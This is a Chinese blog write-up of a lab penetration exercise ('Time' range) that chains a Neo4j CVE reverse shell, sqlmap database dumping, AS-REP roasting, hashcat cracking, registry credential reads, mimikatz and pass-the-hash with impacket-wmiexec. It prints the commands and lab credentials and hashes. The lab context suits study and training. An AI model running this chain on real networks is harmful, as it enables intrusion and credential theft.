春秋云镜-Time

最新推荐文章于 2025-03-31 09:32:26 发布

follycat

最新推荐文章于 2025-03-31 09:32:26 发布

阅读量352

点赞数 6

分类专栏：渗透靶场文章标签：网络安全 web安全学习

本文链接：https://blog.youkuaiyun.com/2301_80148821/article/details/143927809

版权

渗透靶场专栏收录该内容

6 篇文章

订阅专栏

信息收集

没开放80端口，网站看不到

fscan扫描

![[]]

尝试端口，发现7474有界面

并且看到是Nei4j的

尝试cve-2021-34371

成功反弹shell
![[]]

flag1

连上直接抓就行

![[]]

然后上传fscan和毒液进行代理和扫描

tip：

这里只有上传到tmp目录下才能有权限执行

![[]]

然后代理到本机和kali上

flag2

根据扫描结果，可以看到那个后台登录

![[]]

直接抓包上sqlmap跑

python sqlmap.py -r 1.txt --dump

得到很多密码和flag2

![[]]

flag3,4

然后，用大佬的脚本提权用户名

import re

# 打开原始数据文件
with open('1.txt', 'r') as file:
    data = file.readlines()

# 提取指定字符串
users = []
for line in data:
    match = re.search(r'(\w+)@xiaorang.lab', line)
    if match:
        username = match.group(1)
        users.append(username)

# 保存提取后的字符串到 user.txt
with open('user.txt', 'w') as file:
    for user in users:
        file.write(user + '\n')

然后，用impacket工具包中的GetNPUsers.py进行密码破解

 proxychains python3 GetNPUsers.py -dc-ip 172.22.6.12 -usersfile user.txt xiaorang.lab/

报错的话删除

sudo python3 -m pip uninstall pyOpenSSL

提取出

$krb5asrep$23$zhangxin@XIAORANG.LAB:e414f4692a6b1d0905e8ed118747ac6e$95ec406c7cdae081a496fe8009a23e684f0612d0632c903e1b34ce66275421c5d0f8125c8e651bf93ddee83bab492833c6af3316177096000e7e302359774ab66f05c254ad9c61ba9407756681e532c031f65961571469d15a08a069ea0ab26d38d876c2808055c0724c9b30dcc29ba9e62d56d8f697ea29d200f3c58bd107e8f39e16d34aa76dcb26d58e7d7e59a1d3160d249451a73fe6ba1a0d09d4a5210f2b6aeb09cf979a0ad51345244b21769878652f5c88223c4ed6648c650413bc31192e835cf74f274b20604a8e9ad3db6ec6e28f7b24452eaf7c456a7e4282e1bba9ffddc43915cfd1349c56a0

解hash

hashcat -m 18200 1.txt -a 0 ./rockyou.txt  --force

得到账号密码

windows远程连接

zhangxin@XIAORANG.LAB:strawberry

抓取密码

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

![[]]

登录另外一台机器

DefaultUserName    REG_SZ    yuxuan
DefaultPassword    REG_SZ    Yuxuan7QbrgZ3L
DefaultDomainName    REG_SZ    xiaorang.lab

用猕猴桃抓取hash

![[]]

然后直接kali中登录，抓取flag就行

proxychains impacket-wmiexec  XIAORANG/administrator@172.22.6.25   -hashes :04d93ffd6f5f6e4490e0de23f240a5e9

type C:\Users\Administrator\flag\flag*

proxychains impacket-wmiexec  XIAORANG/administrator@172.22.6.12   -hashes :04d93ffd6f5f6e4490e0de23f240a5e9

type C:\Users\Administrator\flag\flag*

![[]]